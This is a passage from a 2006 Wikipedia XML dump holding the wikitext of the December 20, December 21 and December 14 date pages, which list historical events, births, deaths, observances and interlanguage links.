*[[1970]] - [[Nicole DeBoer]], Canadian actress
*[[1978]] - [[Njitap Geremi]], Cameroon footballer
*[[1980]] - [[Ashley Cole]], English footballer
*[[1990]] - [[JoJo]](Joanna Levesque), American singer

==Deaths==
*[[217]] - [[Pope Zephyrinus]]
*[[860]] - King [[Ethelbald of Wessex]]
*[[910]] - [[Alfonso III of Leon]]
*[[1022]] - [[Elvira Mendes]], queen of [[Alfonso V of Castile]] (b. [[996]])
*[[1494]] - [[Matteo Maria Boiardo]], Italian poet
*[[1524]] - [[Thomas Linacre]], English scholar and physician
*[[1539]] - [[Johannes Lupi]], Flemish composer
*[[1590]] - [[Ambroise Paré]], French physician (b. [[1510]])
*[[1722]] - [[Kangxi Emperor]] of China (b. [[1654]])
*[[1740]] - [[Richard Boyle, 2nd Viscount Shannon]], English military officer and statesman (b. [[1675]])
*[[1768]] - [[Carlo Innocenzio Maria Frugoni]], Italian poet (b. [[1692]])
*[[1812]] - [[Sacagawea]], Shoshone guide for the Lewis and Clark Expedition
*[[1929]] - [[Émile Loubet]], 7th [[President of France]] (b.[[1838]])
*[[1937]] - [[Erich Ludendorff]], German general (b. [[1865]])
*[[1941]] - [[Igor Severyanin]], Russian poet (b. [[1887]])
*[[1954]] - [[James Hilton]], American author (b. [[1900]])
*[[1961]] - [[Moss Hart]], American author (b. [[1904]])
*1961 - [[Earle Page]], eleventh [[Prime Minister of Australia]] (b. [[1880]])
*[[1968]] - [[John Steinbeck]], American writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1902]])
*[[1973]] - [[Luis Carrero Blanco]], [[Prime Minister of Spain]] (assassinated) (b. [[1903]])
*1973 - [[Bobby Darin]], American singer (b. [[1936]])
*[[1974]] - [[André Jolivet]], French composer (b. [[1905]])
*[[1976]] - [[Richard J. Daley]], Mayor of Chicago (b. [[1902]])
*[[1982]] - [[Arthur Rubinstein]], Polish-born pianist (b. [[1887]])
*[[1984]] - [[Gonzalo Márquez]], Venezuelan [[Major League Baseball]] player (b. [[1946]])
*[[1989]] - [[Kurt Böhme]], German bass (b. [[1908]])
*[[1994]] - [[Dean Rusk]], [[United States Secretary of State]] (b. [[1909]])
*[[1996]] - [[Carl Sagan]], American astronomer and writer (b. [[1934]])
*[[1997]] - [[Denise Levertov]], English-born poet (b. [[1923]])
*1997 - [[Juzo Itami]], Japanese actor and director (b. [[1933]])
*[[1998]] - [[Irene Hervey]], American actress (b. [[1910]])
*1998 - [[Alan Lloyd Hodgkin]], British scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1916]])
*[[1999]] - [[Hank Snow]], Canadian singer (b. [[1914]])
*[[2000]] - [[Mirza Ghulam Hafiz]], Indian statesman, politician, and philanthropist (b. [[1920]])
*[[2001]] - [[Foster Brooks]], American actor and comedian (b. [[1912]])
*2001 - [[Léopold Sédar Senghor]], first [[President of Senegal]] (b. [[1906]])

==Holidays and observances==
* [[Calendar of Saints|R.C. Saints]] - Saint [[Dominic of Silos]]
* Also see [[December 20 (Eastern Orthodox liturgics)]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/20 BBC: On This Day]

----

[[December 19]] - [[December 21]] - [[November 20]] - [[January 20]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:20 Desember]]
[[ar:20 ديسمبر]]
[[an:20 d'abiento]]
[[ast:20 d'avientu]]
[[bg:20 декември]]
[[be:20 сьнежня]]
[[bs:20. decembar]]
[[ca:20 de desembre]]
[[ceb:Disyembre 20]]
[[cv:Раштав, 20]]
[[co:20 di decembre]]
[[cs:20. prosinec]]
[[cy:20 Rhagfyr]]
[[da:20. december]]
[[de:20. Dezember]]
[[et:20. detsember]]
[[el:20 Δεκεμβρίου]]
[[es:20 de diciembre]]
[[eo:20-a de decembro]]
[[eu:Abenduaren 20]]
[[fo:20. desember]]
[[fr:20 décembre]]
[[fy:20 desimber]]
[[ga:20 Nollaig]]
[[gl:20 de decembro]]
[[ko:12월 20일]]
[[hr:20. prosinca]]
[[io:20 di decembro]]
[[id:20 Desember]]
[[ia:20 de decembre]]
[[is:20. desember]]
[[it:20 dicembre]]
[[he:20 בדצמבר]]
[[jv:20 Desember]]
[[ka:20 დეკემბერი]]
[[csb:20 gòdnika]]
[[ku:20'ê berfanbarê]]
[[la:20 Decembris]]
[[lt:Gruodžio 20]]
[[lb:20. Dezember]]
[[hu:December 20]]
[[mk:20 декември]]
[[ms:20 Disember]]
[[nap:20 'e dicembre]]
[[nl:20 december]]
[[ja:12月20日]]
[[no:20. desember]]
[[nn:20. desember]]
[[oc:20 de decembre]]
[[pl:20 grudnia]]
[[pt:20 de Dezembro]]
[[ro:20 decembrie]]
[[ru:20 декабря]]
[[se:Juovlamánu 20.]]
[[sco:20 December]]
[[sq:20 Dhjetor]]
[[scn:20 di dicèmmiru]]
[[simple:December 20]]
[[sk:20. december]]
[[sl:20. december]]
[[sr:20. децембар]]
[[fi:20. joulukuuta]]
[[sv:20 december]]
[[tl:Disyembre 20]]
[[ta:டிசம்பர் 20]]
[[tt:20. Dekäber]]
[[te:డిసెంబర్ 20]]
[[th:20 ธันวาคม]]
[[vi:20 tháng 12]]
[[tr:20 Aralık]]
[[uk:20 грудня]]
[[wa:20 d' decimbe]]
[[war:Disyembre 20]]
[[zh:12月20日]]
[[pam:Disiembri 20]]</text>
    </revision>
  </page>
  <page>
    <title>December 21</title>
    <id>8850</id>
    <revision>
      <id>42043481</id>
      <timestamp>2006-03-03T12:05:31Z</timestamp>
      <contributor>
        <username>Joy Stovall</username>
        <id>69412</id>
      </contributor>
      <comment>/* Births */ rmvd redlink</comment>
      <text xml:space="preserve">'''[[December 21]]''' is the 355th day of the year (356th in [[leap year]]s) in the [[Gregorian calendar]]. There are 10 days remaining.

{{DecemberCalendar}}
==Events==
*[[69]] - [[Year of the four emperors]]: Following [[Galba]], [[Otho]] and [[Vitellius]], [[Vespasian]] becomes the fourth [[Emperor of Rome]] within a year.
*[[1620]] - [[Plymouth Colony]]: [[William Bradford (1590-1657)|William Bradford]] and the ''[[Mayflower]]'' [[Pilgrims]] land on what is now known as [[Plymouth Rock]] in [[Plymouth, Massachusetts]].
*[[1861]] - [[Medal of Honor]]: Public Resolution 82, containing a provision for a Navy Medal of Valor, is signed into law by President [[Abraham Lincoln]].
*[[1872]] - [[Challenger expedition]]: ''[[HMS Challenger (1858)|HMS Challenger]]'', commanded by Captain [[George Nares]], sails from [[Portsmouth]].
*[[1913]] - [[Arthur Wynne]]'s &quot;word-cross&quot;, the first [[crossword puzzle]], is published in the ''[[New York World]]''.
*[[1937]] - The film ''[[Snow White and the Seven Dwarfs (1937 film)|Snow White and the Seven Dwarfs]]'' is premiered at the Carthay Circle Theater in [[Los Angeles]].
*[[1958]] - [[French presidential election, 1958]]: [[Charles de Gaulle]] is elected [[President of France]] as his [[Union des Démocrates pour la République]] party gain 78.5% of the vote.
*[[1962]] - [[Rondane National Park]] is established as [[Norway]]'s first [[national park]].
*[[1968]] - [[Project Apollo]]: ''[[Apollo 8]]'', crewed by [[Frank Borman]], [[Jim Lovell]] and [[William Anders]], is launched from the [[Kennedy Space Center]] in [[Florida]].
*[[1979]] - [[Lancaster House Agreement]]: An independence agreement for [[Rhodesia]] is signed in [[London]] by [[Lord Carrington]], Sir [[Ian Gilmour]], [[Robert Mugabe]], [[Joshua Nkomo]], Bishop [[Abel Muzorewa]] and Dr S C Mundawarara.
*[[1983]] - Former [[U.S. President]] [[Gerald Ford]] appears as himself in the [[soap opera]] ''[[Dynasty (TV series)|Dynasty]]''.
*[[1987]] - The passenger ferry ''[[Doña Paz]]'' sinks after colliding with the oil tanker ''Vector 1'' in the Tablas Strait in the [[Philippines]], killing 1,565.
*[[1988]] - A bomb explodes on board [[Pan Am flight 103]] over [[Lockerbie]], [[Dumfries and Galloway]], killing 270.
*[[1999]] - The [[Spanish Civil Guard]] intercepts a van loaded with 950 [[kg]] of explosives which [[ETA]] intend to use to blow up [[Torre Picasso]] in [[Madrid]].
*[[2001]] - [[Japan]]ese [[celebrity|television personality]] [[Masashi Tashiro]] temporarily leads ''[[Time (magazine)|TIME]]'''s [[Person of the Year]] vote.
*[[2012]] - The [[Maya Calendar#Long Count|Long Count of the Maya calendar]] recycles according to the most popular correlation.  A minority argues that it does so on [[December 23]], [[2012]].

==Births==
* [[1118]] - [[Thomas à Becket|Thomas Becket]], [[Lord Chancellor|Lord Chancellor of England]] and [[Archbishop of Canterbury]] (d. [[1170]])
* [[1401]] - [[Tommaso Masaccio]], Italian painter (d. [[1428]])
* [[1596]] - [[Petro Mohyla]], Moldovan Orthodox Metropolitan Bishop of Kiev and Galicia (d. [[1646]])
* [[1603]] - [[Roger Williams (theologian)|Roger Williams]], English theologian and colonist (d. [[1684]])
* [[1714]] - [[John Bradstreet]], Canadian-born soldier (d. [[1774]])
* [[1804]] - [[Benjamin Disraeli, 1st Earl of Beaconsfield]], [[Prime Minister of the United Kingdom]] (d. [[1881]])
* [[1805]] - [[Thomas Graham (chemist)|Thomas Graham]], British chemist (d. [[1869]])
* [[1811]] - [[Archibald Campbell Tait]], [[Archbishop of Canterbury]] (d. [[1882]])
* [[1815]] - [[Thomas Couture]] French painter and teacher  (d. [[1879]])
* [[1843]] - [[Thomas Bracken]], Irish-born New Zealander poet (d. [[1898]])
* [[1850]] - [[Zdeněk Fibich]], Bohemian composer (d. [[1900]])
* [[1859]] - [[Gustave Kahn]], French poet (d. [[1936]])
* [[1872]] - [[Don Lorenzo Perosi]], Italian composer (d. [[1956]])
*   1872   - [[Albert Payson Terhune]], American author (d. [[1942]])
* [[1876]] - [[Jack Lang (Australia)|Jack Lang]] (John Thomas Lang), [[Premier of New South Wales]] (d. [[1975]])
* [[1878]] - [[Jan Łukasiewicz]], Polish philosopher and mathematician (d. [[1956]])
* [[1889]] - [[Sewall Wright]], American biologist (d. [[1988]])
* [[1890]] - [[Hermann Joseph Muller]], American geneticist and [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (d. [[1967]])
* [[1892]] - [[Walter Hagen]], American golfer (d. [[1969]])
*   1892   - [[Rebecca West]], American writer (d. [[1983]])
* [[1896]] - [[Leroy Robertson]], American composer (d. [[1971]])
* [[1914]] - [[Ivan Generalić]], Austro-Hungarian-born Croatian painter (d. [[1992]])
* [[1917]] - [[Heinrich Böll]], German writer and [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1985]])
* [[1918]] - [[Donald Regan]], [[White House Chief of Staff]] and [[United States Secretary of the Treasury]] (d. [[2003]])
*   1918   - [[Kurt Waldheim]], Austrian [[United Nations Secretary-General]] and [[Federal President of Austria]]
* [[1921]] - [[Vampira]] (Maila Nurmi), Finnish-born actress
* [[1921]] - [[Alicia Alonso]] (Alicia Ernestina de la Caridad del Cobre Martinez Hoya), Cuban ballerina
* [[1922]] - [[Paul Winchell]], American ventriloquist (d. [[2005]])
* [[1926]] - [[Joe Paterno]], American Football coach
* [[1935]] - [[John G. Avildsen]], American film director and editor
*   1935   - [[Yusuf Bey]] (Joseph Stephens), American activist and businessman [[2003]])
*   1935   - [[Phil Donahue]], American talk show host
* [[1937]] - [[Jane Fonda]], American actress and activist
* [[1940]] - [[Frank Zappa]], American singer, guitarist and composer (d. [[1993]])
* [[1942]] - [[Hu Jintao]],  [[President of the People's Republic of China]]
*   1942   - [[Reinhard Mey]], German singer
*   1942   - [[Carla Thomas]], American singer
* [[1944]] - [[Michael Tilson Thomas]], American conductor
* [[1946]] - [[Carl Wilson]], American singer and guitarist ([[The Beach Boys]]) (d. [[1998]]) 
* [[1947]] - [[Paco de Lucía]], Spanish guitarist
* [[1947]] - [[Bryan Hamilton]], Northern Irish footballer and football manager
* [[1948]] - [[Samuel L. Jackson]], American actor
*   1948   - [[Willi Resetarits]], Austrian musician and cabaret artist
* [[1950]] - [[Jeffrey Katzenberg]], American producer
* [[1954]] - [[Chris Evert]], American tennis player
* [[1955]] - [[Jane Kaczmarek]], American actress
* [[1957]] - [[Tom Henke]], American baseball player
*   1957   - [[Ray Romano]], American comedian and actor
* [[1959]] - [[Florence Griffith Joyner]], American sprinter, Olympic gold medalist and 100m &amp; 200m world record holder (d. [[1998]])
* [[1960]] - [[Louis Demetrius Alvanis]], London-based pianist
* [[1961]] - [[Francis Ng]], Hong Kong actor
* [[1965]] - [[Andy Dick]], American actor and comedian
*   1965   - [[Anke Engelke]], German comedienne
* [[1966]] - [[Kiefer Sutherland]], British-born Canadian actor
* [[1967]] - [[Mikhail Saakashvili]], Soviet-born [[President of Georgia]]
* [[1969]] - [[Julie Delpy]], French actress
* [[1971]] - [[Brett Scallions]], American singer ([[Fuel]])
* [[1973]] - [[Karmen Stavec]], German-born Slovenian singer
* [[1974]] - [[Karrie Webb]], Australian golfer
* [[1977]] - [[Jim Carson]], American music producer and disc jockey
* [[1978]] - [[Mike Vitar]], American actor
* [[1982]] - [[Mike Gansey]], American basketball player
* [[1984]] - [[Darren Potter]], [[Ireland national football team|Irish]] international footballer
* [[1985]] - [[James Stewart Jr.]], professional [[motocross]] racer

==Deaths==


*[[1295]] - [[Marguerite Berenger of Provence]], queen of [[Louis IX of France]]
*[[1308]] - [[Henry I of Hesse]] (b. [[1244]])
*[[1375]] - [[Giovanni Boccaccio]], Italian writer (b. [[1313]])
*[[1504]] - [[Bertold von Henneberg-Römhild]], German archbishop and elector (b. [[1442]])
*[[1549]] - [[Marguerite of Navarre]], queen of [[Henry II of Navarre]] (b. [[1492]])
*[[1579]] - [[Vicente Masip]], Spanish painter
*[[1597]] - [[Petrus Canisius]], Dutch Jesuit (b. [[1521]])
*[[1807]] - [[John Newton]], English cleric and hymnist (b. [[1725]])
*[[1824]] - [[James Parkinson]], English physician, geologist, paleontologist, and political activist (b. [[1755]])
*[[1873]] - [[Francis Garnier]], French explorer (b. [[1839]])
*[[1889]] - [[Friedrich August von Quenstedt]], German geologist (b. [[1809]])
*[[1935]] - [[Kurt Tucholsky]], German journalist and satirist (b. [[1890]])
*[[1937]] - [[Frank B. Kellogg]], [[United States Secretary of State]], recipient of the [[Nobel Peace Prize]] (b. [[1856]])
*[[1940]] - [[F. Scott Fitzgerald]], American writer (b. [[1896]])
*[[1945]] - [[George S. Patton]], U.S. general (b. [[1885]])
*[[1957]] - [[Eric Coates]], English composer (b. [[1886]])
*[[1958]] - [[Lion Feuchtwanger]], German writer (b. [[1884]])
*[[1983]] - [[Paul de Man]], Belgian-born literary critic (b. [[1919]])
*[[1988]] - [[Nikolaas Tinbergen]], Dutch ornithologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1907]])
*[[1992]] - [[Albert King]], American musician (b. [[1924]])
*  1992   - [[Nathan Milstein]], Ukrainian violinist (b. [[1903]])
*[[2001]] - [[Dick Schaap]], American sports journalist (b. [[1931]])
*[[2004]] - [[Autar Singh Paintal]], Indian medical scientist (b. [[1925]])

==Holidays and observances==
* [[Roman festivals]] - [[Divalia]] in hounour of [[Angerona]]
* [[Calendar of Saints|R.C. Saints]] - Saint [[Petrus Canisius]] ; formerly feast day of [[Thomas (apostle)|Thomas the apostle]]
* Also see [[December 21 (Eastern Orthodox liturgics)]]
* [[USA]] - Forefathers' Day: commemoration of the landing of the Mayflower in [[1620]] on this date in the Gregorian calendar ([[11 December]] Old Style)
* The [[summer solstice]] (Southern Hemisphere) or [[winter solstice]] (Northern Hemisphere), sometimes known as ''[[Yule]]'', occurs on or very close to this date. It is an important festival in the [[Chinese calendar]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/21 BBC: On This Day]
* [http://www.tnl.net/when/12/21 Today in History: December 21]
----

[[December 20]] - [[December 22]] - [[November 21]] - [[January 21]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:21 Desember]]
[[ar:21 ديسمبر]]
[[an:21 d'abiento]]
[[ast:21 d'avientu]]
[[bg:21 декември]]
[[be:21 сьнежня]]
[[bs:21. decembar]]
[[ca:21 de desembre]]
[[ceb:Disyembre 21]]
[[cv:Раштав, 21]]
[[co:21 di decembre]]
[[cs:21. prosinec]]
[[cy:21 Rhagfyr]]
[[da:21. december]]
[[de:21. Dezember]]
[[et:21. detsember]]
[[el:21 Δεκεμβρίου]]
[[es:21 de diciembre]]
[[eo:21-a de decembro]]
[[eu:Abenduaren 21]]
[[fo:21. desember]]
[[fr:21 décembre]]
[[fy:21 desimber]]
[[ga:21 Nollaig]]
[[gl:21 de decembro]]
[[ko:12월 21일]]
[[hr:21. prosinca]]
[[io:21 di decembro]]
[[id:21 Desember]]
[[ia:21 de decembre]]
[[is:21. desember]]
[[it:21 dicembre]]
[[he:21 בדצמבר]]
[[jv:21 Desember]]
[[ka:21 დეკემბერი]]
[[csb:21 gòdnika]]
[[ku:21'ê berfanbarê]]
[[la:21 Decembris]]
[[lt:Gruodžio 21]]
[[lb:21. Dezember]]
[[hu:December 21]]
[[mk:21 декември]]
[[ms:21 Disember]]
[[nap:21 'e dicembre]]
[[nl:21 december]]
[[ja:12月21日]]
[[no:21. desember]]
[[nn:21. desember]]
[[oc:21 de decembre]]
[[pl:21 grudnia]]
[[pt:21 de Dezembro]]
[[ro:21 decembrie]]
[[ru:21 декабря]]
[[se:Juovlamánu 21.]]
[[sco:21 December]]
[[sq:21 Dhjetor]]
[[scn:21 di dicèmmiru]]
[[simple:December 21]]
[[sk:21. december]]
[[sl:21. december]]
[[sr:21. децембар]]
[[fi:21. joulukuuta]]
[[sv:21 december]]
[[tl:Disyembre 21]]
[[ta:டிசம்பர் 21]]
[[tt:21. Dekäber]]
[[te:డిసెంబర్ 21]]
[[th:21 ธันวาคม]]
[[vi:21 tháng 12]]
[[tr:21 Aralık]]
[[uk:21 грудня]]
[[wa:21 di decimbe]]
[[war:Disyembre 21]]
[[zh:12月21日]]
[[pam:Disiembri 21]]</text>
    </revision>
  </page>
  <page>
    <title>December 14</title>
    <id>8851</id>
    <revision>
      <id>42133608</id>
      <timestamp>2006-03-04T01:13:37Z</timestamp>
      <contributor>
        <ip>69.138.229.246</ip>
      </contributor>
      <text xml:space="preserve">'''December 14''' is the 348th day of the year (349th in [[leap year]]s) in the [[Gregorian Calendar]].  There are seventeen days remaining.

{{DecemberCalendar}}

==Events==
*[[867]] - [[Pope Adrian II|Adrian II]] becomes [[Pope]].
*[[872]] - [[Pope John VIII|John VIII]] becomes [[Pope]].
*[[1287]] - [[St. Lucia's flood]]: The [[Zuider Zee]] sea wall in the [[Netherlands]] collapses, killing over 50,000 people.
*[[1542]] - Princess Mary Stuart becomes Queen [[Mary I of Scotland]].
*[[1769]] - [[Dartmouth College]] is chartered by [[George III of the United Kingdom|King George III]] of [[England]].
*[[1819]] - [[Alabama]] becomes the 22nd [[U.S. state]].
*[[1896]] - The [[Glasgow Subway|Glasgow Underground Railway]] is opened by the Glasgow District Subway Company.
*[[1900]] - [[Quantum Mechanics]]: [[Max Planck]] presents a theoretical derivation of his [[Planck's law of black body radiation|black-body radiation law]].
*[[1902]] - The [[Commercial Pacific Cable Company]] lays the first [[Pacific Ocean|Pacific]] [[Telegraphy|telegraph]] cable, from [[Ocean Beach, San Francisco]] to [[Honolulu, Hawaii]].
*[[1911]] - [[Roald Amundsen]]'s team, comprising himself, [[Olav Bjaaland]], [[Helmer Hanssen]], [[Sverre Hassel]], and [[Oscar Wisting]], becomes the first to reach the [[South Pole]].
*[[1918]] - [[Friedrich Karl von Hessen]], a [[Germany|German]] prince elected by the [[Parliament of Finland]] to become King [[Väinö I of Finland|Väinö I]], renounces the [[List of Finnish rulers|Finnish throne]].
*[[1939]] - [[Winter War]]: The [[Soviet Union]] is expelled from the [[League of Nations]].
*[[1946]] - The [[UN General Assembly]] votes to establish its headquarters in [[New York City]].
*[[1947]] - The National Association for Stock Car Auto Racing ([[NASCAR]]) is founded in [[Daytona Beach, Florida]].
*[[1958]] - The 3rd Soviet Antarctic Expedition becomes the first-ever to reach [[South Pole|The Pole of Relative Inaccessibility]] in the [[Antarctic]].
*[[1959]] - The ''[[Motown]]'' [[record label]] is founded in [[Detroit, Michigan]] by [[Berry Gordy]].
*[[1962]] - [[NASA]]'s ''[[Mariner 2]]'' becomes the first [[spacecraft]] to fly by [[Venus (planet)|Venus]].
*1962 - The ''[[Mona Lisa]]'' is assessed at [[United States dollar|US$]]100 million, the [[List of most expensive paintings|highest insurance valuance for a painting]] in history. 
*[[1964]] - [[American Civil Rights Movement (1955-1968)|American Civil Rights Movement]]: ''[[Heart of Atlanta Motel v. United States]]'' - The [[United States Supreme Court]] rules that the [[U.S. Congress]] can use its [[Commerce Clause]] power to fight discrimination.
*[[1977]] - Releasing of [[Saturday Night Fever]] film.
*[[1981]] - [[Arab-Israeli conflict]]: [[Israel]]'s [[Knesset]] passes ''The Golan Heights Law'',  extending Israeli law to the area of the [[Golan Heights]].
*[[1989]] - [[Patricio Aylwin]] is elected [[President of Chile]].
*[[1995]] - [[Yugoslav Wars]]: The [[Dayton Agreement]] is signed in [[Paris]] by [[President of Serbia|President]] [[Slobodan Milošević]], [[President of Croatia|President]] [[Franjo Tuđman]], [[President of Bosnia and Herzegovina|President]] [[Alija Izetbegović]], [[President of the French Republic|President]] [[Jacques Chirac]], [[President of the United States|President]] [[Bill Clinton]], [[Prime Minister of the United Kingdom|Prime Minister]] [[John Major]], [[Chancellor of Germany|Chancellor]] [[Helmut Kohl]] and [[Prime Minister of Russia|Prime Minister]] [[Viktor Chernomyrdin]].
*[[1999]] - [[Charles M. Schulz]], creator of the [[comic strip]] ''[[Peanuts]]'', announces his retirement.
*[[2000]] - The &quot;[[Texas 7]]&quot; rob a [[Radio Shack]] store in [[Pearland, Texas]], stealing police [[radio scanner]]s.
*[[2003]] - The [[La Fenice]] [[opera house]] in [[Venice, Italy]], rebuilt following [[arson]], is reopened.
*2003 - [[President of Pakistan]] [[Pervez Musharaf]] narrowly escaped an assassination attempt.
*[[2004]] - The [[Millau viaduct]], the highest bridge in the world, spanning the valley of the [[River Tarn]] near [[Millau]], [[France]] and designed by British architect [[Lord Foster]] in collaboration with French bridge engineer [[Michel Virlogeux]], is officially opened.
*[[2005]] - The [[Road and Transport Authority]] of [[New South Wales]], [[Australia]] starts to issue [[NSW Photo Card]].

==Births==
*[[1009]] - [[Emperor Go-Suzaku]] of Japan (d. [[1045]])
*[[1503]] - [[Nostradamus]], French astrologer and mathematician (d. [[1566]])
*[[1546]] - [[Tycho Brahe]], Danish astronomer (d. [[1601]])
*[[1625]] - [[Barthélemy d'Herbelot de Molainville]], French orientalist (d. [[1695]])
*[[1631]] - [[Anne Conway, Viscountess Conway]], English philosopher (d. [[1679]])
*[[1640]] - (baptism date) - [[Aphra Behn]], playwright and novelist (d. [[1689]])
*[[1678]] - [[Daniel Neal]], English historian (d. [[1743]])
*[[1720]] - [[Justus Möser]], German statesman (d. [[1794]])
*[[1775]] - [[Philander Chase]], American founder of Kenyon College (d. [[1852]])
*1775 - [[Thomas Cochrane, 10th Earl of Dundonald]], British admiral (d. [[1860]])
*[[1824]] - [[Pierre Puvis de Chavannes]], French painter (d. [[1898]])
*[[1866]] - [[Roger Fry]], British artist and art critic (d. [[1934]])
*[[1870]] - [[Karl Renner]], [[President of Austria]] (d. [[1950]])
*[[1884]] - [[Jane Cowl]], American actress and playwright (d. [[1950]])
*[[1895]] - [[Paul Eluard]], French poet (d. [[1952]])
*1895 - King [[George VI of the United Kingdom]] (Albert Frederick Arthur George Windsor) (d. [[1952]])
*[[1896]] - [[Jimmy Doolittle]], American General (d. [[1993]])
*[[1897]] - [[Margaret Chase Smith]], American politician (d. [[1995]])
*[[1902]] - [[Frances Bavier]], American actress (d. [[1989]])
*[[1908]] - [[Morey Amsterdam]], American comedian and actor (d. [[1996]])
*[[1909]] - [[Edward Tatum]], American geneticist and [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (d. [[1975]])
*[[1911]] - [[Spike Jones]], American comedian and musician (d. [[1965]])
*[[1913]] - [[Dan Dailey]], American actor (d. [[1978]])
*[[1914]] - [[Karl Carstens]], [[President of Germany]] (d. [[1992]])
*1914 - [[Rosalyn Tureck]], American pianist and harpsichordist (d. [[2003]])
*[[1918]] - [[James T. Aubrey]], American television executive (d. [[1994]])
*1918 - [[B.K.S. Iyengar]], Indian yoga advocate
*[[1919]] - [[Shirley Jackson]], American writer (d. [[1965]])
*[[1920]] - [[Clark Terry]], American trumpeter
*[[1922]] - [[Nikolay Basov]], Soviet-born Russian physicist and [[Noble Prize]] laureate (d. [[2001]])
*[[1923]] - [[Gerard Reve]], Dutch writer
*[[1924]] - [[Raj Kapoor]], Indian actor (d. [[1988]])
*[[1932]] - [[Charlie Rich]], American musician (d. [[1995]])
*[[1935]] - [[Lee Remick]], American actress (d. [[1991]])
*[[1938]] - [[Leonardo Boff]], Brazilian theologian
*[[1946]] - [[Jane Birkin]], British-born actress
*1946 - [[Patty Duke]], American actress
*1946 - [[Michael Ovitz]], American film producer
*1946 - [[Stan Smith]], American tennis player
*[[1947]] - [[Christopher Parkening]], American guitarist
*[[1949]] - [[Bill Buckner]], American baseball player
*1949 - [[Cliff Williams]], British-born bassist ([[AC/DC]])
*1949 - [[Dee Wallace-Stone]], American actress
*[[1951]] - [[Jan Timman]], Dutch chess grandmaster
*[[1953]] - [[René Eespere]], Soviet-born Estonian composer
*[[1954]] - [[Alan Kulwicki]], American race car driver (d. [[1993]])
*1954 - [[James Horan (Actor)|James Horan]], American actor
*[[1956]] - [[Hanni Wenzel]], Liechtenstein skier
*[[1958]] - [[Mike Scott]], British singer and songwriter ([[The Waterboys]])
*1958 - [[Spider Stacy]] (Peter Richard Stacy), British-born [[tin whistle]] player, ([[The Pogues]])
*[[1962]] - [[Ginger Lynn]] (Ginger Lynn Allen), American adult film actress
*[[1963]] - [[Cynthia Gibb]], American actress
*[[1965]] - [[Craig Biggio]], American baseball player
*[[1966]] - [[Bill Ranford]], Canadian ice hockey player
*[[1967]] - [[Ewa Białołęcka]], Polish writer
*[[1969]] - [[Scott Hatteberg]], American baseball player
*[[1970]] - [[Anna Maria Jopek]], Polish singer
*[[1973]] - [[Tomasz Radzinski]], Polish-born [[Canada national football team|Canadian]] international footballer
*[[1974]] - [[Billy Koch]], American baseball player
*[[1977]] - [[KaDee Strickland]], American actress
*[[1979]] - [[Michael Owen]], [[England national football team|English]] international footballer
*1979 - [[Jean-Alain Boumsong]], French footballer
*[[1982]] - [[Anthony Way]], British singer and actor
*[[1984]] - [[Chris Brunt]], Northern Irish footballer
&lt;!-- Do not add yourself or your friends to this list, only people with Wikipedia articles --&gt;

==Deaths==
*[[1460]] - [[Guarino da Verona]], Italian humanist and translator (b. [[1370]])
*[[1510]] - [[Friedrich of Saxony (1473-1510)|Friedrich of Saxony]] (b. [[1473]])
*[[1542]] - King [[James V of Scotland]] (b. [[1512]])
*[[1591]] - [[Saint John of the Cross]], Spanish friar and poet (b. [[1542]])
*[[1624]] - [[Charles Howard, 1st Earl of Nottingham]], English statesman (b. [[1536]])
*[[1651]] - [[Pierre Dupuy]], French scholar (b. [[1582]])
*[[1713]] - [[Thomas Rymer]], English historian (b. [[1641]])
*[[1715]] - [[Thomas Tenison]], [[Archbishop of Canterbury]] (b. [[1636]])
*[[1735]] - [[Thomas Tanner (bishop)|Thomas Tanner]], English bishop and antiquarian (b. [[1674]])
*[[1741]] - [[Charles Rollin]], French historian (b. [[1661]])
*[[1788]] - [[Carl Philipp Emanuel Bach]], German composer (b. [[1714]])
*1788 - King [[Charles III of Spain]] (b. [[1716]])
*[[1799]] - [[George Washington]], first [[President of the United States]] (b. [[1732]])
*[[1861]] - [[Prince Albert of Saxe-Coburg and Gotha]], consort of [[Victoria of the United Kingdom|Queen Victoria]] (b. [[1819]])
*[[1865]] - [[Johan Georg Forchhammer]], Danish geologist (b. [[1794]])
*[[1873]] - [[Louis Agassiz]], Swiss-born American zoologist and geologist (b. [[1807]])
*[[1947]] - [[Edward Higgins]], British Salvation Army General (b. [[1864]])
*[[1963]] - [[Dinah Washington]], American singer (b. [[1924]])
*[[1964]] - [[William Bendix]], American actor (b. [[1906]])
*[[1984]] - [[Vicente Aleixandre]], Spanish writer and [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1898]])
*[[1985]] - [[Roger Maris]], American baseball player (b. [[1934]])
*[[1989]] - [[Andrei D. Sakharov]], Russian physicist, activist and [[Nobel Peace Prize|Nobel Prize]] laureate (b. [[1921]])
*[[1990]] - [[Friedrich Dürrenmatt]], Swiss writer (b. [[1921]])
*[[1993]] - [[Myrna Loy]], American actress (b. [[1905]])
*[[1998]] - [[Norman Fell]], American actor (b. [[1924]])
*1998 - [[Annette Strauss]], philanthropist and Mayor of Dallas, Texas (b. [[1924]])
*1998 - [[Aloyisus Leon Higginbotham, Jr.]], civil rights activist and author (b. [[1928]])
*[[2003]] - [[Jeanne Crain]], American actress (b. [[1925]])
*2003 - [[Blas Ople]], foreign minister of the Philippines (b. [[1927]])
*[[2004]] - [[Rod Kanehl]], American baseball player (b. [[1934]])
*2004 - [[Fernando Poe, Jr.]], Filipino actor and presidential candidate (b. [[1939]])
*[[2005]] - Dr. Rodney William Whitaker, of [[pen name]] [[Trevanian]], American author (b. [[1931]])

==Holidays and observances==
* [[Calendar of Saints|R.C. Saints]] - Memorial of Saint [[John of the Cross]]
* [[USA]] - admission of [[Alabama]] as 22nd state ([[1819]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/14 BBC: On This Day]
* [http://www.thehistorychannel.co.uk/site/this_day_in_history/this_day_December_14.php The History Channel: This day in History]

----

[[December 13]] - [[December 15]] - [[November 14]] - [[January 14]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:14 Desember]]
[[ar:14 ديسمبر]]
